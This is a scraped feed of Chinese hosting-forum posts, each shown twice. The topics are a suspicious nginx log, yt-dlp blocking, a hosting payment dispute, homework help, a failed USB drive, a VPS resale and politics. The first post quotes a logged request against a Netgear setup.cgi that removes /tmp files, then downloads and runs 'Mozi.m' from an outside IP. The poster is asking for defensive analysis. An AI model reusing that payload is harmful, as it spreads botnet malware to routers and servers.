⭐ nginx 莫名奇妙的日志，请大家分析一下。 by 调查员 #uid59015
系统是刚装几天的，就装了 nginx 反代一个docker容器，不是80端口
但是nginx就老发现一些奇怪的日志。
比如下面这个。居然还有 “rm+-rf” 这种命令
117.253.56.151 - - [08/Sep/2024:02:59:55 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.219.161.81:50626/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 146 "-" "-" "-"
系统是刚装几天的，就装了 nginx 反代一个docker容器，不是80端口
但是nginx就老发现一些奇怪的日志。
比如下面这个。居然还有 “rm+-rf” 这种命令
117.253.56.151 - - [08/Sep/2024:02:59:55 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.219.161.81:50626/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 146 "-" "-" "-"
⭐ yt-dlp不能用了？ by simonw #uid6208
是把yt-dlp封了还是把机房IP封了
提示要登录
试了好几个机试都是
----------
✍️ 狗操的腾讯云员工们 https://hostloc.com/thread-1143961-1-1.html
是把yt-dlp封了还是把机房IP封了
提示要登录
试了好几个机试都是
----------
✍️ 狗操的腾讯云员工们 https://hostloc.com/thread-1143961-1-1.html
⭐ 惊天大瓜！罗马尼亚商家卷走客户两万美元！？ by dakota #uid75974
本帖最后由 dakota 于 2024-9-8 12:34 编辑
原帖 https://lowendtalk.com/discussion/197526/calin-ihostart-com-took-our-22-5k-and-scamming-us
还有高手，客户提供的银行对账单显示购买物品为"蔬菜与水果"？？
以下没有TL;DR，不懂得怎么阅读的别看了，整件事太多疑点，所以故事链条会很乱，本事并非黑白，没看完但是想敲键盘的滚
资金的剧情走向应该是这样：
未知 -> 客户 $22,000 USD -> Crypto -> GoSSDHosting -> iHostART.com 的 Calin 的 Cryptomus -> Calin 转钱到他自己的 Coinbase -> Calin 想要 Cash-out 提款，购买硬件需要 -> Calin 疑似想要从加密货币转法币到自己的私人账户而非公司账户想要逃税，罗马尼亚公司税是 16% 而个人收入税是 10% (私人账户为论坛的人猜测) -> 银行要求证明金钱来源 (>10,000 EUR 大额的反洗钱政策) -> GoSSDHosting 坚信客户资金来源合法，并且疑似伪造银行对账单
但是目前尚不清楚银行对账单是谁伪造的，所以会给双方都标上
客户 干了什么:
1. (疑似) 伪造银行对账单
2. (疑似) Calin 称其提供假的 IBAN (国际银行账户)
GoSSDHosting 干了什么:
1. 不向客户直接推荐 iHostART 而是想当中间人赚米
2. 疑似沟通不积极(Calin称)，可能是 Calin 问了 GoSSDHosting 它自己都没办法回答的问题
3. 疑似伪造银行对账单
4. 要求 Calin 退款，但 Calin 称货款已被银行锁定，且只能都转回给客户，无法转给 GoSSDHosting，提交 IBAN 后 Calin 称客户的 IBAN 是假的 (接下 Calin 4. )
5. 疑似伪造的银行对账单太离谱， 3 份账户对账单，3 家不同的银行，3 个不同的名字，每一份对账单都与加密货币交易没有任何关联，其中还有一份标注购买的东西为 "蔬菜与水果"
Calin 干了什么：
1. 要求 GoSSDHosting 货款分批付款
2. 其中 2000 刀 走了 PayPal (已退回)
3. Calin 向 GoSSDHosting 保证如果出现任何问题会将货款全数退回
4. GoSSDHosting 称 Calin 尝试使用 IBAN 进行国内(罗马尼亚)转账而非国际，令人迷惑，此前 Calin 向 GoSSDHosting 称他已多次进行 IBAN 转账且熟知 IBAN 转账流程
LET 坛人观点：
1. GoSSDHosting 不应该贪婪地想当中间人赚米
2. GoSSDHosting 推荐客户 iHostART 商家，应该明确表明 GoSSDHosting 无法提供客户所要求的服务，而不是尝试当中间人
3. iHostART 不可信，Calin 是个小屁孩，线路不稳定，uptime 跟史一样 (Calin 曾疑似被 Coinbase 曝未满 18 岁，中国大陆即限制民事行为能力人)
4. iHostART 收到货款后未履行服务义务，GoSSDHosting 支付给 iHostART 成功后，服务就应该开始进行了
5. 客户行为动机不合理，花两万美金买DMCA Free且通过加密货币付款太可疑
6. 其中一个商家 HostSlick 表示其很高兴自己退出了 DMCA Ignored 及加密货币支付的 VPS 市场
7. 质疑 GoSSDHosting 和 iHostART 完全不清楚反洗钱和货币交易报告(超过 €10,000 需要提交 CTR / KYC)
8. 坛人开始对喷，因为其中一个人建议 GoSSDHosting 打官司，另一个人认为打官司所需要花费的时间金钱精力远超两万美元
9. iHostART 不应该要求客户提供资金来源的证明文件，而是提供他自己提供服务的证据给银行
10. 怀疑 iHostART 购买硬件把钱转给了被西方制裁的国家，如伊朗/俄罗斯/中国
11. 质疑 iHostART 转钱到自己个人银行账户上的动机，因为他本来可以直接将加密货币货款汇给硬件提供商而无需经过这一步
12. 加密货币具有货币价值，但是它不是货币，所以需要 Crypto-To-Fiat
13. 并不是只有单笔超过 €10,000 才会被审查，数字是在一定时间内累计的 (具体看银行风控算法)
14. 罗马尼亚境内交易超过 €10,000 EUR 会被罗马尼亚的国家财政管理署审查
OP 看法：
客户 疑似想要 DMCA Ignored 服务器
GoSSDHosting 疑似无法提供服务，但想当中间人赚米
Calin 疑似想逃税，被论坛怀疑其转账到个人账户 with 10% 税率而非公司账户 with 16% 税率
有人觉得这是客户的证明题，很明显客户很可疑，资金来源就不是干净的，但包括OP在内很多人都能理解，因为本来加密货币支付就是为了匿名，有人质疑说“你现在问我要KYC？那你干嘛当初要接这个单子？”
说白了其实就是 GoSSDHosting 和 iHostART 的贪婪心和侥幸心理作祟。
下面都是我的看法：
1. 客户提供假的 IBAN 就是不想实名，以为能糊弄过去，但也不一定就是资金来源不干净，可能是做 OpSec 呢？没准人家是 host 免费书籍的大善人呢？相信 Zlib 成员被抓的事件大家都有目共睹。
2. 客户或者 GoSSDHosting 提供奇怪的银行对账单同上。
3. Callin 干了什么的 4. 那里的迷惑行为可能是知道银行已经锁款了，但是仍然想干些什么，自作聪明帮倒忙
4. LET 坛 3. 的观点不对，原帖下面 CrunchBits 有举过类似的例子
4. LET 坛 4. 的观点不对，因为按 Calin 的说法，硬件没有购买，因为实际上钱都没到手，所以无法兑现承诺
5. LET 坛 9. 的观点不对，中国人一看就能懂，银行被封需要提供资金来源及链条证明。原帖有人说过，罗马尼亚跟中国一样都默认加密货币=洗钱的
6. LET 坛 11. 的观点也不对，有没有可能，好比说你咸鱼购买 5900X3D，能用加密货币付款吗？肯定要先转成法定货币啊
其实 iHostART 的卖点没什么问题，没有拿线路做宣传，全网最低价一直被 DDoS 也不是不可预见的，便宜就得知悉隐藏的代价，同行都爱D，当然你要骂不好那也是可以的，Calin从来没有忌讳过被DDoS导致的网络问题，Discord几乎秒回，贴出被D时的面板证据，这就不得不狠狠拉踩一波，不像某些国人商家(指AperNet/CubeCloud和死去的EasyOne)拿线路做文章，开小号和利用群友之间的关系制造卖点，卖个VPS都能玩社工，我是真的服，512M内存的机子都能给你搞出来，峰值速度变个位数，完了被骂还玻璃心碎挂人，比玻璃心欧洲人真的是比不过国人的，毕竟DDoS导致服务降级这个理由也可以被某些薅线路AS被拉黑的人滥用。
而且这两万刀估计真的得真人线下才能取回了，估计都闹到罗马尼亚的财政管理署去了。
原帖瓜：
1. 其中一个VPS商家(可能不是)说他(yoursunny)账户名下就只有200刀，年底前他需要在午餐或 ASN 续订之间做出选择。
2. 其中一个LET成员(Andreix)曾多次在其他商家推广帖子下诋毁其他商家，收到过两次严重警告，总共五次，目前又被ban了一周。
3. Andreix 表示这些VPS商家都不是好狗，且和罪犯们同流合污，希望他们能过来购买，以债抵债
4. 之前 iHostART 经历过数据泄露，WHMCS 0day 漏洞是被同行 Hazi.ro 曝出来的
5. host_c 表示 iHostART 之前就经历过类似的货款过不去的情况，但是我没找到帖子，可能被 LET 的 MOD 删了？评论区可以的话帮忙找找。
6. 其中一个VPS商家(CrunchBits)开始跟 Andreix 对喷，阴阳怪气他喜欢高利贷和诽谤别人
7. CrunchBits 骂 mjj 一边说某些 VPS 商家很狗，却一边给他们送钱
8. 其中一个LET成员(CloudHopper)阴阳怪气 iHostART 网络质量参差不齐，有人通过加密货币给这个永远处于被 DDoS 状态的商家付巨款表示惊讶
本帖最后由 dakota 于 2024-9-8 12:34 编辑
原帖 https://lowendtalk.com/discussion/197526/calin-ihostart-com-took-our-22-5k-and-scamming-us
还有高手，客户提供的银行对账单显示购买物品为"蔬菜与水果"？？
以下没有TL;DR，不懂得怎么阅读的别看了，整件事太多疑点，所以故事链条会很乱，本事并非黑白，没看完但是想敲键盘的滚
资金的剧情走向应该是这样：
未知 -> 客户 $22,000 USD -> Crypto -> GoSSDHosting -> iHostART.com 的 Calin 的 Cryptomus -> Calin 转钱到他自己的 Coinbase -> Calin 想要 Cash-out 提款，购买硬件需要 -> Calin 疑似想要从加密货币转法币到自己的私人账户而非公司账户想要逃税，罗马尼亚公司税是 16% 而个人收入税是 10% (私人账户为论坛的人猜测) -> 银行要求证明金钱来源 (>10,000 EUR 大额的反洗钱政策) -> GoSSDHosting 坚信客户资金来源合法，并且疑似伪造银行对账单
但是目前尚不清楚银行对账单是谁伪造的，所以会给双方都标上
客户 干了什么:
1. (疑似) 伪造银行对账单
2. (疑似) Calin 称其提供假的 IBAN (国际银行账户)
GoSSDHosting 干了什么:
1. 不向客户直接推荐 iHostART 而是想当中间人赚米
2. 疑似沟通不积极(Calin称)，可能是 Calin 问了 GoSSDHosting 它自己都没办法回答的问题
3. 疑似伪造银行对账单
4. 要求 Calin 退款，但 Calin 称货款已被银行锁定，且只能都转回给客户，无法转给 GoSSDHosting，提交 IBAN 后 Calin 称客户的 IBAN 是假的 (接下 Calin 4. )
5. 疑似伪造的银行对账单太离谱， 3 份账户对账单，3 家不同的银行，3 个不同的名字，每一份对账单都与加密货币交易没有任何关联，其中还有一份标注购买的东西为 "蔬菜与水果"
Calin 干了什么：
1. 要求 GoSSDHosting 货款分批付款
2. 其中 2000 刀 走了 PayPal (已退回)
3. Calin 向 GoSSDHosting 保证如果出现任何问题会将货款全数退回
4. GoSSDHosting 称 Calin 尝试使用 IBAN 进行国内(罗马尼亚)转账而非国际，令人迷惑，此前 Calin 向 GoSSDHosting 称他已多次进行 IBAN 转账且熟知 IBAN 转账流程
LET 坛人观点：
1. GoSSDHosting 不应该贪婪地想当中间人赚米
2. GoSSDHosting 推荐客户 iHostART 商家，应该明确表明 GoSSDHosting 无法提供客户所要求的服务，而不是尝试当中间人
3. iHostART 不可信，Calin 是个小屁孩，线路不稳定，uptime 跟史一样 (Calin 曾疑似被 Coinbase 曝未满 18 岁，中国大陆即限制民事行为能力人)
4. iHostART 收到货款后未履行服务义务，GoSSDHosting 支付给 iHostART 成功后，服务就应该开始进行了
5. 客户行为动机不合理，花两万美金买DMCA Free且通过加密货币付款太可疑
6. 其中一个商家 HostSlick 表示其很高兴自己退出了 DMCA Ignored 及加密货币支付的 VPS 市场
7. 质疑 GoSSDHosting 和 iHostART 完全不清楚反洗钱和货币交易报告(超过 €10,000 需要提交 CTR / KYC)
8. 坛人开始对喷，因为其中一个人建议 GoSSDHosting 打官司，另一个人认为打官司所需要花费的时间金钱精力远超两万美元
9. iHostART 不应该要求客户提供资金来源的证明文件，而是提供他自己提供服务的证据给银行
10. 怀疑 iHostART 购买硬件把钱转给了被西方制裁的国家，如伊朗/俄罗斯/中国
11. 质疑 iHostART 转钱到自己个人银行账户上的动机，因为他本来可以直接将加密货币货款汇给硬件提供商而无需经过这一步
12. 加密货币具有货币价值，但是它不是货币，所以需要 Crypto-To-Fiat
13. 并不是只有单笔超过 €10,000 才会被审查，数字是在一定时间内累计的 (具体看银行风控算法)
14. 罗马尼亚境内交易超过 €10,000 EUR 会被罗马尼亚的国家财政管理署审查
OP 看法：
客户 疑似想要 DMCA Ignored 服务器
GoSSDHosting 疑似无法提供服务，但想当中间人赚米
Calin 疑似想逃税，被论坛怀疑其转账到个人账户 with 10% 税率而非公司账户 with 16% 税率
有人觉得这是客户的证明题，很明显客户很可疑，资金来源就不是干净的，但包括OP在内很多人都能理解，因为本来加密货币支付就是为了匿名，有人质疑说“你现在问我要KYC？那你干嘛当初要接这个单子？”
说白了其实就是 GoSSDHosting 和 iHostART 的贪婪心和侥幸心理作祟。
下面都是我的看法：
1. 客户提供假的 IBAN 就是不想实名，以为能糊弄过去，但也不一定就是资金来源不干净，可能是做 OpSec 呢？没准人家是 host 免费书籍的大善人呢？相信 Zlib 成员被抓的事件大家都有目共睹。
2. 客户或者 GoSSDHosting 提供奇怪的银行对账单同上。
3. Callin 干了什么的 4. 那里的迷惑行为可能是知道银行已经锁款了，但是仍然想干些什么，自作聪明帮倒忙
4. LET 坛 3. 的观点不对，原帖下面 CrunchBits 有举过类似的例子
4. LET 坛 4. 的观点不对，因为按 Calin 的说法，硬件没有购买，因为实际上钱都没到手，所以无法兑现承诺
5. LET 坛 9. 的观点不对，中国人一看就能懂，银行被封需要提供资金来源及链条证明。原帖有人说过，罗马尼亚跟中国一样都默认加密货币=洗钱的
6. LET 坛 11. 的观点也不对，有没有可能，好比说你咸鱼购买 5900X3D，能用加密货币付款吗？肯定要先转成法定货币啊
其实 iHostART 的卖点没什么问题，没有拿线路做宣传，全网最低价一直被 DDoS 也不是不可预见的，便宜就得知悉隐藏的代价，同行都爱D，当然你要骂不好那也是可以的，Calin从来没有忌讳过被DDoS导致的网络问题，Discord几乎秒回，贴出被D时的面板证据，这就不得不狠狠拉踩一波，不像某些国人商家(指AperNet/CubeCloud和死去的EasyOne)拿线路做文章，开小号和利用群友之间的关系制造卖点，卖个VPS都能玩社工，我是真的服，512M内存的机子都能给你搞出来，峰值速度变个位数，完了被骂还玻璃心碎挂人，比玻璃心欧洲人真的是比不过国人的，毕竟DDoS导致服务降级这个理由也可以被某些薅线路AS被拉黑的人滥用。
而且这两万刀估计真的得真人线下才能取回了，估计都闹到罗马尼亚的财政管理署去了。
原帖瓜：
1. 其中一个VPS商家(可能不是)说他(yoursunny)账户名下就只有200刀，年底前他需要在午餐或 ASN 续订之间做出选择。
2. 其中一个LET成员(Andreix)曾多次在其他商家推广帖子下诋毁其他商家，收到过两次严重警告，总共五次，目前又被ban了一周。
3. Andreix 表示这些VPS商家都不是好狗，且和罪犯们同流合污，希望他们能过来购买，以债抵债
4. 之前 iHostART 经历过数据泄露，WHMCS 0day 漏洞是被同行 Hazi.ro 曝出来的
5. host_c 表示 iHostART 之前就经历过类似的货款过不去的情况，但是我没找到帖子，可能被 LET 的 MOD 删了？评论区可以的话帮忙找找。
6. 其中一个VPS商家(CrunchBits)开始跟 Andreix 对喷，阴阳怪气他喜欢高利贷和诽谤别人
7. CrunchBits 骂 mjj 一边说某些 VPS 商家很狗，却一边给他们送钱
8. 其中一个LET成员(CloudHopper)阴阳怪气 iHostART 网络质量参差不齐，有人通过加密货币给这个永远处于被 DDoS 状态的商家付巨款表示惊讶
⭐ 有安徽的吗？有孩子上初一的吗？ by 清风邀明月 #uid30595
求七年级新编基础训练数学 人教版 电子版或者照片
1.《基训》P6-7、P14-15
2.《基训》第10面第4小题、第13面10、11、12小题
孩子的作业被拿走同学带走了。。。
网上找电子版的找不到。。
太难了。。。
----------
✍️ 奈飞,YOTUBE月抛最低5元，停车场 全中转机场,免费试用 每天更新 + 更快
求七年级新编基础训练数学 人教版 电子版或者照片
1.《基训》P6-7、P14-15
2.《基训》第10面第4小题、第13面10、11、12小题
孩子的作业被拿走同学带走了。。。
网上找电子版的找不到。。
太难了。。。
----------
✍️ 奈飞,YOTUBE月抛最低5元，停车场 全中转机场,免费试用 每天更新 + 更快
⭐ 买了个闪迪U盘没2个月坏了 by gch3399 #uid38157
RT 买来用来在车上放音乐
我下载了一些无损音乐, 一个歌曲 几十M
前段时间U盘有时候不会识别,
后来去SSSS店保养,人家说U盘坏了
之前买的三星U盘 是金属的,好几年的都没坏,
这次买的闪迪的是一个塑料的, 感觉是个假的
----------
✍️ 2021年荣获 国师 称号
2021年荣获 时代嫩模 称号
2022年荣获 飞机达人
86手机接码
RT 买来用来在车上放音乐
我下载了一些无损音乐, 一个歌曲 几十M
前段时间U盘有时候不会识别,
后来去SSSS店保养,人家说U盘坏了
之前买的三星U盘 是金属的,好几年的都没坏,
这次买的闪迪的是一个塑料的, 感觉是个假的
----------
✍️ 2021年荣获 国师 称号
2021年荣获 时代嫩模 称号
2022年荣获 飞机达人
86手机接码
⭐ [出] NetCup 复活节 RS2000 G9.5(德国) 旧款 翻倍 by kanojo #uid67309
联系tg:
@kanojo999
剩余价值+60出
下次付款日:27.09.2024
CPU 型号: AMD EPYC 7702P 64-Core ProcessorCPU 核心: 6 cores可用内存: 16 GB硬盘空间: 630GB NvMe SSD机器地区: 德国
联系tg:
@kanojo999
剩余价值+60出
下次付款日:27.09.2024
CPU 型号: AMD EPYC 7702P 64-Core ProcessorCPU 核心: 6 cores可用内存: 16 GB硬盘空间: 630GB NvMe SSD机器地区: 德国
⭐ 对键政内容的看法 by ass #uid61273
不对的政策，该反对就反对，没毛病。只不过底层牛马意见没一点用。
中国80%生产力掌握在20%上层权贵手里，底层再怎么闹也掀不起一丝风浪。
如果闹出点风浪，上面直接出部队。现在这点民怨不值得一提，顶多是吓唬一下。
问题发生过程中抱怨下得了，已经结束了还天天拿出来说，就有点招人烦了。
论坛快成怨妇聚集地了，什么帖子底下都一堆键政，阴阳怪气和对骂的，很多和主题一点关系都没有。
不管粉红也好，反贼也罢，无非一个在幻想自己是国家的主人，一个幻想自己能改变国家。
实际上都是浪费时间，什么都改变不了，中国高层决策是不会被底层P民意见左右的。
与其天天键政，真不如花时间多学点东西，改变自身境遇。
实在改变不了，就认命。抱怨除了引战，没有任何意义。
不对的政策，该反对就反对，没毛病。只不过底层牛马意见没一点用。
中国80%生产力掌握在20%上层权贵手里，底层再怎么闹也掀不起一丝风浪。
如果闹出点风浪，上面直接出部队。现在这点民怨不值得一提，顶多是吓唬一下。
问题发生过程中抱怨下得了，已经结束了还天天拿出来说，就有点招人烦了。
论坛快成怨妇聚集地了，什么帖子底下都一堆键政，阴阳怪气和对骂的，很多和主题一点关系都没有。
不管粉红也好，反贼也罢，无非一个在幻想自己是国家的主人，一个幻想自己能改变国家。
实际上都是浪费时间，什么都改变不了，中国高层决策是不会被底层P民意见左右的。
与其天天键政，真不如花时间多学点东西，改变自身境遇。
实在改变不了，就认命。抱怨除了引战，没有任何意义。
⭐ 每月需要50T左右的出境流量，有靠谱的商家吗 by 624346893 #uid33667
需要稳定的IPLC或者IEPL，日本或者香港，现在需要每月50T流量，后面可能会增加到几百T，主要要稳定，然后价格稍微优惠点
有的联系我@cherry9181
最好可以签合同，合规使用，TG先谈，谈了再说合同的事
需要稳定的IPLC或者IEPL，日本或者香港，现在需要每月50T流量，后面可能会增加到几百T，主要要稳定，然后价格稍微优惠点
有的联系我@cherry9181
最好可以签合同，合规使用，TG先谈，谈了再说合同的事